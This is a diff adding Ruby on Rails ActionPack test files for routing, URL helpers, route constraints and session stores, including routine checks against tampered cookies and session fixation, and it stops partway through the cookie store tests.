+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+      get "/foo" => ok, as: :foo
+
+      ActiveSupport::Deprecation.silence do
+        get "/post(/:action(/:id))" => ok, as: :posts
+      end
+
+      get "/:foo/:foo_type/bars/:id" => ok, as: :bar
+      get "/projects/:id.:format" => ok, as: :project
+      get "/pages/:id" => ok, as: :page
+      get "/wiki/*page" => ok, as: :wiki
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  test "enabled when not mounted and default_url_options is empty" do
+    assert Routes.url_helpers.optimize_routes_generation?
+  end
+
+  test "named route called as singleton method" do
+    assert_equal "/foo", Routes.url_helpers.foo_path
+  end
+
+  test "named route called on included module" do
+    assert_equal "/foo", foo_path
+  end
+
+  test "nested optional segments are removed" do
+    assert_equal "/post", Routes.url_helpers.posts_path
+    assert_equal "/post", posts_path
+  end
+
+  test "segments with same prefix are replaced correctly" do
+    assert_equal "/foo/baz/bars/1", Routes.url_helpers.bar_path("foo", "baz", "1")
+    assert_equal "/foo/baz/bars/1", bar_path("foo", "baz", "1")
+  end
+
+  test "segments separated with a period are replaced correctly" do
+    assert_equal "/projects/1.json", Routes.url_helpers.project_path(1, :json)
+    assert_equal "/projects/1.json", project_path(1, :json)
+  end
+
+  test "segments with question marks are escaped" do
+    assert_equal "/pages/foo%3Fbar", Routes.url_helpers.page_path("foo?bar")
+    assert_equal "/pages/foo%3Fbar", page_path("foo?bar")
+  end
+
+  test "segments with slashes are escaped" do
+    assert_equal "/pages/foo%2Fbar", Routes.url_helpers.page_path("foo/bar")
+    assert_equal "/pages/foo%2Fbar", page_path("foo/bar")
+  end
+
+  test "glob segments with question marks are escaped" do
+    assert_equal "/wiki/foo%3Fbar", Routes.url_helpers.wiki_path("foo?bar")
+    assert_equal "/wiki/foo%3Fbar", wiki_path("foo?bar")
+  end
+
+  test "glob segments with slashes are not escaped" do
+    assert_equal "/wiki/foo/bar", Routes.url_helpers.wiki_path("foo/bar")
+    assert_equal "/wiki/foo/bar", wiki_path("foo/bar")
+  end
+end
+
+class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
+  class CategoriesController < ActionController::Base
+    def show
+      render plain: "categories#show"
+    end
+  end
+
+  class ProductsController < ActionController::Base
+    def show
+      render plain: "products#show"
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      scope module: "test_named_route_url_helpers" do
+        get "/categories/:id" => "categories#show", :as => :category
+        get "/products/:id" => "products#show", :as => :product
+      end
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  include Routes.url_helpers
+
+  test "url helpers do not ignore nil parameters when using non-optimized routes" do
+    Routes.stub :optimize_routes_generation?, false do
+      get "/categories/1"
+      assert_response :success
+      assert_raises(ActionController::UrlGenerationError) { product_path(nil) }
+    end
+  end
+end
+
+class TestUrlConstraints < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      constraints subdomain: "admin" do
+        get "/" => ok, :as => :admin_root
+      end
+
+      scope constraints: { protocol: "https://" } do
+        get "/" => ok, :as => :secure_root
+      end
+
+      get "/" => ok, :as => :alternate_root, :constraints => { port: 8080 }
+
+      get "/search" => ok, :constraints => { subdomain: false }
+
+      get "/logs" => ok, :constraints => { subdomain: true }
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  test "constraints are copied to defaults when using constraints method" do
+    assert_equal "http://admin.example.com/", admin_root_url
+
+    get "http://admin.example.com/"
+    assert_response :success
+  end
+
+  test "constraints are copied to defaults when using scope constraints hash" do
+    assert_equal "https://www.example.com/", secure_root_url
+
+    get "https://www.example.com/"
+    assert_response :success
+  end
+
+  test "constraints are copied to defaults when using route constraints hash" do
+    assert_equal "http://www.example.com:8080/", alternate_root_url
+
+    get "http://www.example.com:8080/"
+    assert_response :success
+  end
+
+  test "false constraint expressions check for absence of values" do
+    get "http://example.com/search"
+    assert_response :success
+    assert_equal "http://example.com/search", search_url
+
+    get "http://api.example.com/search"
+    assert_response :not_found
+  end
+
+  test "true constraint expressions check for presence of values" do
+    get "http://api.example.com/logs"
+    assert_response :success
+    assert_equal "http://api.example.com/logs", logs_url
+
+    get "http://example.com/logs"
+    assert_response :not_found
+  end
+end
+
+class TestInvalidUrls < ActionDispatch::IntegrationTest
+  class FooController < ActionController::Base
+    def show
+      render plain: "foo#show"
+    end
+  end
+
+  test "invalid UTF-8 encoding is treated as ASCII 8BIT encode" do
+    with_routing do |set|
+      set.draw do
+        get "/bar/:id", to: redirect("/foo/show/%{id}")
+        get "/foo/show(/:id)", to: "test_invalid_urls/foo#show"
+
+        ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+        get "/foobar/:id", to: ok
+
+        ActiveSupport::Deprecation.silence do
+          get "/foo(/:action(/:id))", controller: "test_invalid_urls/foo"
+          get "/:controller(/:action(/:id))"
+        end
+      end
+
+      get "/%E2%EF%BF%BD%A6"
+      assert_response :not_found
+
+      get "/foo/%E2%EF%BF%BD%A6"
+      assert_response :not_found
+
+      get "/foo/show/%E2%EF%BF%BD%A6"
+      assert_response :ok
+
+      get "/bar/%E2%EF%BF%BD%A6"
+      assert_response :redirect
+
+      get "/foobar/%E2%EF%BF%BD%A6"
+      assert_response :ok
+    end
+  end
+end
+
+class TestOptionalRootSegments < ActionDispatch::IntegrationTest
+  stub_controllers do |routes|
+    Routes = routes
+    Routes.draw do
+      get "/(page/:page)", to: "pages#index", as: :root
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_optional_root_segments
+    get "/"
+    assert_equal "pages#index", @response.body
+    assert_equal "/", root_path
+
+    get "/page/1"
+    assert_equal "pages#index", @response.body
+    assert_equal "1", @request.params[:page]
+    assert_equal "/page/1", root_path("1")
+    assert_equal "/page/1", root_path(page: "1")
+  end
+end
+
+class TestPortConstraints < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/integer", to: ok, constraints: { port: 8080  }
+      get "/string",  to: ok, constraints: { port: "8080" }
+      get "/array",   to: ok, constraints: { port: [8080] }
+      get "/regexp",  to: ok, constraints: { port: /8080/ }
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  def test_integer_port_constraints
+    get "http://www.example.com/integer"
+    assert_response :not_found
+
+    get "http://www.example.com:8080/integer"
+    assert_response :success
+  end
+
+  def test_string_port_constraints
+    get "http://www.example.com/string"
+    assert_response :not_found
+
+    get "http://www.example.com:8080/string"
+    assert_response :success
+  end
+
+  def test_array_port_constraints
+    get "http://www.example.com/array"
+    assert_response :not_found
+
+    get "http://www.example.com:8080/array"
+    assert_response :success
+  end
+
+  def test_regexp_port_constraints
+    get "http://www.example.com/regexp"
+    assert_response :not_found
+
+    get "http://www.example.com:8080/regexp"
+    assert_response :success
+  end
+end
+
+class TestFormatConstraints < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/string", to: ok, constraints: { format: "json"  }
+      get "/regexp",  to: ok, constraints: { format: /json/ }
+      get "/json_only", to: ok, format: true, constraints: { format: /json/ }
+      get "/xml_only", to: ok, format: "xml"
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  def test_string_format_constraints
+    get "http://www.example.com/string"
+    assert_response :success
+
+    get "http://www.example.com/string.json"
+    assert_response :success
+
+    get "http://www.example.com/string.html"
+    assert_response :not_found
+  end
+
+  def test_regexp_format_constraints
+    get "http://www.example.com/regexp"
+    assert_response :success
+
+    get "http://www.example.com/regexp.json"
+    assert_response :success
+
+    get "http://www.example.com/regexp.html"
+    assert_response :not_found
+  end
+
+  def test_enforce_with_format_true_with_constraint
+    get "http://www.example.com/json_only.json"
+    assert_response :success
+
+    get "http://www.example.com/json_only.html"
+    assert_response :not_found
+
+    get "http://www.example.com/json_only"
+    assert_response :not_found
+  end
+
+  def test_enforce_with_string
+    get "http://www.example.com/xml_only.xml"
+    assert_response :success
+
+    get "http://www.example.com/xml_only"
+    assert_response :success
+
+    get "http://www.example.com/xml_only.json"
+    assert_response :not_found
+  end
+end
+
+class TestCallableConstraintValidation < ActionDispatch::IntegrationTest
+  def test_constraint_with_object_not_callable
+    assert_raises(ArgumentError) do
+      ActionDispatch::Routing::RouteSet.new.draw do
+        ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+        get "/test", to: ok, constraints: Object.new
+      end
+    end
+  end
+end
+
+class TestRouteDefaults < ActionDispatch::IntegrationTest
+  stub_controllers do |routes|
+    Routes = routes
+    Routes.draw do
+      resources :posts, bucket_type: "post"
+      resources :projects, defaults: { bucket_type: "project" }
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_route_options_are_required_for_url_for
+    assert_raises(ActionController::UrlGenerationError) do
+      assert_equal "/posts/1", url_for(controller: "posts", action: "show", id: 1, only_path: true)
+    end
+
+    assert_equal "/posts/1", url_for(controller: "posts", action: "show", id: 1, bucket_type: "post", only_path: true)
+  end
+
+  def test_route_defaults_are_not_required_for_url_for
+    assert_equal "/projects/1", url_for(controller: "projects", action: "show", id: 1, only_path: true)
+  end
+end
+
+class TestRackAppRouteGeneration < ActionDispatch::IntegrationTest
+  stub_controllers do |routes|
+    Routes = routes
+    Routes.draw do
+      rack_app = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+      mount rack_app, at: "/account", as: "account"
+      mount rack_app, at: "/:locale/account", as: "localized_account"
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_mounted_application_doesnt_match_unnamed_route
+    assert_raise(ActionController::UrlGenerationError) do
+      assert_equal "/account?controller=products", url_for(controller: "products", action: "index", only_path: true)
+    end
+
+    assert_raise(ActionController::UrlGenerationError) do
+      assert_equal "/de/account?controller=products", url_for(controller: "products", action: "index", locale: "de", only_path: true)
+    end
+  end
+end
+
+class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
+  stub_controllers do |routes|
+    Routes = routes
+    Routes.draw do
+      get "/account", to: redirect("/myaccount"), as: "account"
+      get "/:locale/account", to: redirect("/%{locale}/myaccount"), as: "localized_account"
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_redirect_doesnt_match_unnamed_route
+    assert_raise(ActionController::UrlGenerationError) do
+      assert_equal "/account?controller=products", url_for(controller: "products", action: "index", only_path: true)
+    end
+
+    assert_raise(ActionController::UrlGenerationError) do
+      assert_equal "/de/account?controller=products", url_for(controller: "products", action: "index", locale: "de", only_path: true)
+    end
+  end
+end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/products/:id" => "products#show", :as => :product
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  include Routes.url_helpers
+
+  test "url helpers raise a 'missing keys' error for a nil param with optimized helpers" do
+    url, missing = { action: "show", controller: "products", id: nil }, [:id]
+    message = "No route matches #{url.inspect}, missing required keys: #{missing.inspect}"
+
+    error = assert_raises(ActionController::UrlGenerationError) { product_path(nil) }
+    assert_equal message, error.message
+  end
+
+  test "url helpers raise a 'constraint failure' error for a nil param with non-optimized helpers" do
+    url, missing = { action: "show", controller: "products", id: nil }, [:id]
+    message = "No route matches #{url.inspect}, possible unmatched constraints: #{missing.inspect}"
+
+    error = assert_raises(ActionController::UrlGenerationError, message) { product_path(id: nil) }
+    assert_equal message, error.message
+  end
+
+  test "url helpers raise message with mixed parameters when generation fails" do
+    url, missing = { action: "show", controller: "products", id: nil, "id" => "url-tested" }, [:id]
+    message = "No route matches #{url.inspect}, possible unmatched constraints: #{missing.inspect}"
+
+    # Optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError) { product_path(nil, "id" => "url-tested") }
+    assert_equal message, error.message
+
+    # Non-optimized url helper
+    error = assert_raises(ActionController::UrlGenerationError, message) { product_path(id: nil, "id" => "url-tested") }
+    assert_equal message, error.message
+  end
+end
+
+class TestDefaultUrlOptions < ActionDispatch::IntegrationTest
+  class PostsController < ActionController::Base
+    def archive
+      render plain: "posts#archive"
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    default_url_options locale: "en"
+    scope ":locale", format: false do
+      get "/posts/:year/:month/:day", to: "posts#archive", as: "archived_posts"
+    end
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_positional_args_with_format_false
+    assert_equal "/en/posts/2014/12/13", archived_posts_path(2014, 12, 13)
+  end
+end
+
+class TestErrorsInController < ActionDispatch::IntegrationTest
+  class ::PostsController < ActionController::Base
+    def foo
+      nil.i_do_not_exist
+    end
+
+    def bar
+      NonExistingClass.new
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    ActiveSupport::Deprecation.silence do
+      get "/:controller(/:action)"
+    end
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  def test_legit_no_method_errors_are_not_caught
+    get "/posts/foo"
+    assert_equal 500, response.status
+  end
+
+  def test_legit_name_errors_are_not_caught
+    get "/posts/bar"
+    assert_equal 500, response.status
+  end
+
+  def test_legit_routing_not_found_responses
+    get "/posts/baz"
+    assert_equal 404, response.status
+
+    get "/i_do_not_exist"
+    assert_equal 404, response.status
+  end
+end
+
+class TestPartialDynamicPathSegments < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+    get "/songs/song-:song", to: ok
+    get "/songs/:song-song", to: ok
+    get "/:artist/song-:song", to: ok
+    get "/:artist/:song-song", to: ok
+
+    get "/optional/songs(/song-:song)", to: ok
+    get "/optional/songs(/:song-song)", to: ok
+    get "/optional/:artist(/song-:song)", to: ok
+    get "/optional/:artist(/:song-song)", to: ok
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  def test_paths_with_partial_dynamic_segments_are_recognised
+    get "/david-bowie/changes-song"
+    assert_equal 200, response.status
+    assert_params artist: "david-bowie", song: "changes"
+
+    get "/david-bowie/song-changes"
+    assert_equal 200, response.status
+    assert_params artist: "david-bowie", song: "changes"
+
+    get "/songs/song-changes"
+    assert_equal 200, response.status
+    assert_params song: "changes"
+
+    get "/songs/changes-song"
+    assert_equal 200, response.status
+    assert_params song: "changes"
+
+    get "/optional/songs/song-changes"
+    assert_equal 200, response.status
+    assert_params song: "changes"
+
+    get "/optional/songs/changes-song"
+    assert_equal 200, response.status
+    assert_params song: "changes"
+
+    get "/optional/david-bowie/changes-song"
+    assert_equal 200, response.status
+    assert_params artist: "david-bowie", song: "changes"
+
+    get "/optional/david-bowie/song-changes"
+    assert_equal 200, response.status
+    assert_params artist: "david-bowie", song: "changes"
+  end
+
+  private
+
+    def assert_params(params)
+      assert_equal(params, request.path_parameters)
+    end
+end
+
+class TestPathParameters < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      scope module: "test_path_parameters" do
+        scope ":locale", locale: /en|ar/ do
+          root to: "home#index"
+          get "/about", to: "pages#about"
+        end
+      end
+
+      ActiveSupport::Deprecation.silence do
+        get ":controller(/:action/(:id))"
+      end
+    end
+  end
+
+  class HomeController < ActionController::Base
+    include Routes.url_helpers
+
+    def index
+      render inline: "<%= root_path %>"
+    end
+  end
+
+  class PagesController < ActionController::Base
+    include Routes.url_helpers
+
+    def about
+      render inline: "<%= root_path(locale: :ar) %> | <%= url_for(locale: :ar) %>"
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  def test_path_parameters_are_not_mutated
+    get "/en/about"
+    assert_equal "/ar | /ar/about", @response.body
+  end
+end
+
+class TestInternalRoutingParams < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/test_internal/:internal" => "internal#internal"
+    end
+  end
+
+  class ::InternalController < ActionController::Base
+    def internal
+      head :ok
+    end
+  end
+
+  APP = build_app Routes
+
+  def app
+    APP
+  end
+
+  def test_paths_with_partial_dynamic_segments_are_recognised
+    get "/test_internal/123"
+    assert_equal 200, response.status
+
+    assert_equal(
+      { controller: "internal", action: "internal", internal: "123" },
+      request.path_parameters
+    )
+  end
+end
+
+class FlashRedirectTest < ActionDispatch::IntegrationTest
+  SessionKey = "_myapp_session"
+  Generator  = ActiveSupport::LegacyKeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+
+  class KeyGeneratorMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.key_generator"] ||= Generator
+      @app.call(env)
+    end
+  end
+
+  class FooController < ActionController::Base
+    def bar
+      render plain: (flash[:foo] || "foo")
+    end
+  end
+
+  Routes = ActionDispatch::Routing::RouteSet.new
+  Routes.draw do
+    get "/foo", to: redirect { |params, req| req.flash[:foo] = "bar"; "/bar" }
+    get "/bar", to: "flash_redirect_test/foo#bar"
+  end
+
+  APP = build_app Routes do |middleware|
+    middleware.use KeyGeneratorMiddleware
+    middleware.use ActionDispatch::Session::CookieStore, key: SessionKey
+    middleware.use ActionDispatch::Flash
+    middleware.delete ActionDispatch::ShowExceptions
+  end
+
+  def app
+    APP
+  end
+
+  include Routes.url_helpers
+
+  def test_block_redirect_commits_flash
+    get "/foo", env: { "action_dispatch.key_generator" => Generator }
+    assert_response :redirect
+
+    follow_redirect!
+    assert_equal "bar", response.body
+  end
+end
+
+class TestRecognizePath < ActionDispatch::IntegrationTest
+  class PageConstraint
+    attr_reader :key, :pattern
+
+    def initialize(key, pattern)
+      @key = key
+      @pattern = pattern
+    end
+
+    def matches?(request)
+      request.path_parameters[key] =~ pattern
+    end
+  end
+
+  stub_controllers do |routes|
+    Routes = routes
+    routes.draw do
+      get "/hash/:foo", to: "pages#show", constraints: { foo: /foo/ }
+      get "/hash/:bar", to: "pages#show", constraints: { bar: /bar/ }
+
+      get "/proc/:foo", to: "pages#show", constraints: proc { |r| r.path_parameters[:foo] =~ /foo/ }
+      get "/proc/:bar", to: "pages#show", constraints: proc { |r| r.path_parameters[:bar] =~ /bar/ }
+
+      get "/class/:foo", to: "pages#show", constraints: PageConstraint.new(:foo, /foo/)
+      get "/class/:bar", to: "pages#show", constraints: PageConstraint.new(:bar, /bar/)
+    end
+  end
+
+  APP = build_app Routes
+  def app
+    APP
+  end
+
+  def test_hash_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/hash/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  def test_proc_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/proc/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  def test_class_constraints_dont_leak_between_routes
+    expected_params = { controller: "pages", action: "show", bar: "bar" }
+    actual_params = recognize_path("/class/bar")
+
+    assert_equal expected_params, actual_params
+  end
+
+  private
+
+    def recognize_path(*args)
+      Routes.recognize_path(*args)
+    end
+end
diff --git a/actionpack/test/dispatch/runner_test.rb b/actionpack/test/dispatch/runner_test.rb
new file mode 100644
index 0000000000..f16c7963af
--- /dev/null
+++ b/actionpack/test/dispatch/runner_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RunnerTest < ActiveSupport::TestCase
+  test "runner preserves the setting of integration_session" do
+    runner = Class.new do
+      def before_setup
+      end
+    end.new
+
+    runner.extend(ActionDispatch::Integration::Runner)
+    runner.integration_session.host! "lvh.me"
+
+    runner.before_setup
+
+    assert_equal "lvh.me", runner.integration_session.host
+  end
+end
diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb
new file mode 100644
index 0000000000..47616db15a
--- /dev/null
+++ b/actionpack/test/dispatch/session/abstract_store_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_dispatch/middleware/session/abstract_store"
+
+module ActionDispatch
+  module Session
+    class AbstractStoreTest < ActiveSupport::TestCase
+      class MemoryStore < AbstractStore
+        def initialize(app)
+          @sessions = {}
+          super
+        end
+
+        def find_session(env, sid)
+          sid ||= 1
+          session = @sessions[sid] ||= {}
+          [sid, session]
+        end
+
+        def write_session(env, sid, session, options)
+          @sessions[sid] = session
+        end
+      end
+
+      def test_session_is_set
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        assert Request::Session.find ActionDispatch::Request.new @env
+      end
+
+      def test_new_session_object_is_merged_with_old
+        env = {}
+        as = MemoryStore.new app
+        as.call(env)
+
+        assert @env
+        session = Request::Session.find ActionDispatch::Request.new @env
+        session["foo"] = "bar"
+
+        as.call(@env)
+        session1 = Request::Session.find ActionDispatch::Request.new @env
+
+        assert_not_equal session, session1
+        assert_equal session.to_hash, session1.to_hash
+      end
+
+      private
+        def app(&block)
+          @env = nil
+          lambda { |env| @env = env }
+        end
+    end
+  end
+end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
new file mode 100644
index 0000000000..06e67fac9f
--- /dev/null
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "fixtures/session_autoload_test/session_autoload_test/foo"
+
+class CacheStoreTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
+    end
+
+    def set_session_value
+      session[:foo] = "bar"
+      head :ok
+    end
+
+    def set_serialized_session_value
+      session[:foo] = SessionAutoloadTest::Foo.new
+      head :ok
+    end
+
+    def get_session_value
+      render plain: "foo: #{session[:foo].inspect}"
+    end
+
+    def get_session_id
+      render plain: "#{request.session.id}"
+    end
+
+    def call_reset_session
+      session[:bar]
+      reset_session
+      session[:bar] = "baz"
+      head :ok
+    end
+  end
+
+  def test_setting_and_getting_session_value
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+    end
+  end
+
+  def test_getting_nil_session_value
+    with_test_route_set do
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+    end
+  end
+
+  def test_getting_session_value_after_session_reset
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+      session_cookie = cookies.send(:hash_for)["_session_id"]
+
+      get "/call_reset_session"
+      assert_response :success
+      assert_not_equal [], headers["Set-Cookie"]
+
+      cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body, "data for this session should have been obliterated from cache"
+    end
+  end
+
+  def test_getting_from_nonexistent_session
+    with_test_route_set do
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+      assert_nil cookies["_session_id"], "should only create session on write, not read"
+    end
+  end
+
+  def test_setting_session_value_after_session_reset
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+      session_id = cookies["_session_id"]
+
+      get "/call_reset_session"
+      assert_response :success
+      assert_not_equal [], headers["Set-Cookie"]
+
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+
+      get "/get_session_id"
+      assert_response :success
+      assert_not_equal session_id, response.body
+    end
+  end
+
+  def test_getting_session_id
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+      session_id = cookies["_session_id"]
+
+      get "/get_session_id"
+      assert_response :success
+      assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
+    end
+  end
+
+  def test_deserializes_unloaded_class
+    with_test_route_set do
+      with_autoload_path "session_autoload_test" do
+        get "/set_serialized_session_value"
+        assert_response :success
+        assert cookies["_session_id"]
+      end
+      with_autoload_path "session_autoload_test" do
+        get "/get_session_id"
+        assert_response :success
+      end
+      with_autoload_path "session_autoload_test" do
+        get "/get_session_value"
+        assert_response :success
+        assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
+      end
+    end
+  end
+
+  def test_doesnt_write_session_cookie_if_session_id_is_already_exists
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert cookies["_session_id"]
+
+      get "/get_session_value"
+      assert_response :success
+      assert_nil headers["Set-Cookie"], "should not resend the cookie again if session_id cookie is already exists"
+    end
+  end
+
+  def test_prevents_session_fixation
+    with_test_route_set do
+      assert_nil @cache.read("_session_id:0xhax")
+
+      cookies["_session_id"] = "0xhax"
+      get "/set_session_value"
+
+      assert_response :success
+      assert_not_equal "0xhax", cookies["_session_id"]
+      assert_nil @cache.read("_session_id:0xhax")
+      assert_equal({ "foo" => "bar" }, @cache.read("_session_id:#{cookies['_session_id']}"))
+    end
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":action", to: ::CacheStoreTest::TestController
+          end
+        end
+
+        @app = self.class.build_app(set) do |middleware|
+          @cache = ActiveSupport::Cache::MemoryStore.new
+          middleware.use ActionDispatch::Session::CacheStore, key: "_session_id", cache: @cache
+          middleware.delete ActionDispatch::ShowExceptions
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
new file mode 100644
index 0000000000..26a63c9f7d
--- /dev/null
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -0,0 +1,365 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "stringio"
+require "active_support/key_generator"
+
+class CookieStoreTest < ActionDispatch::IntegrationTest
+  SessionKey = "_myapp_session"
+  SessionSecret = "b3c631c314c0bbca50c1b2843150fe33"
+  Generator = ActiveSupport::LegacyKeyGenerator.new(SessionSecret)
+
+  Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, digest: "SHA1")
+  SignedBar = Verifier.generate(foo: "bar", session_id: SecureRandom.hex(16))
+
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
+    end
+
+    def persistent_session_id
+      render plain: session[:session_id]
+    end
+
+    def set_session_value
+      session[:foo] = "bar"
+      render plain: Rack::Utils.escape(Verifier.generate(session.to_hash))
+    end
+
+    def get_session_value
+      render plain: "foo: #{session[:foo].inspect}"
+    end
+
+    def get_session_id
+      render plain: "id: #{request.session.id}"
+    end
+
+    def get_class_after_reset_session
+      reset_session
+      render plain: "class: #{session.class}"
+    end
+
+    def call_session_clear
+      session.clear
+      head :ok
+    end
+
+    def call_reset_session
+      reset_session
+      head :ok
+    end
+
+    def raise_data_overflow
+      session[:foo] = "bye!" * 1024
+      head :ok
+    end
+
+    def change_session_id
+      request.session.options[:id] = nil
+      get_session_id
+    end
+
+    def renew_session_id
+      request.session_options[:renew] = true
+      head :ok
+    end
+  end
+
+  def test_setting_session_value
+    with_test_route_set do
+      get "/set_session_value"
+      assert_response :success
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers["Set-Cookie"]
+    end
+  end
+
+  def test_getting_session_value
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get "/get_session_value"
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+    end
+  end
+
+  def test_getting_session_id
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get "/persistent_session_id"
+      assert_response :success
+      assert_equal 32, response.body.size
+      session_id = response.body
+
+      get "/get_session_id"
+      assert_response :success
+      assert_equal "id: #{session_id}", response.body, "should be able to read session id without accessing the session hash"
+    end
+  end
+
+  def test_disregards_tampered_sessions
+    with_test_route_set do
+      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+      get "/get_session_value"
+      assert_response :success
+      assert_equal "foo: nil", response.body
+    end
+  end
+
+  def test_does_not_set_secure_cookies_over_http
+    with_test_route_set(secure: true) do
+      get "/set_session_value"
+      assert_response :success
+      assert_nil headers["Set-Cookie"]
+    end
+  end
+
+  def test_properly_renew_cookies
+    with_test_route_set do
+      get "/set_session_value"
+      get "/persistent_session_id"
+      session_id = response.body
+      get "/renew_session_id"
+      get "/persistent_session_id"
+      assert_not_equal response.body, session_id
+    end
+  end
+
+  def test_does_set_secure_cookies_over_https
+    with_test_route_set(secure: true) do
+      get "/set_session_value", headers: { "HTTPS" => "on" }
+      assert_response :success
+      assert_equal "_myapp_session=#{response.body}; path=/; secure; HttpOnly",
+        headers["Set-Cookie"]
+    end
+  end
+
+  # {:foo=>#<SessionAutoloadTest::Foo bar:"baz">, :session_id=>"ce8b0752a6ab7c7af3cdb8a80e6b9e46"}
+  SignedSerializedCookie = "BAh7BzoIZm9vbzodU2Vzc2lvbkF1dG9sb2FkVGVzdDo6Rm9vBjoJQGJhciIIYmF6Og9zZXNzaW9uX2lkIiVjZThiMDc1MmE2YWI3YzdhZjNjZGI4YTgwZTZiOWU0Ng==--2bf3af1ae8bd4e52b9ac2099258ace0c380e601c"
+
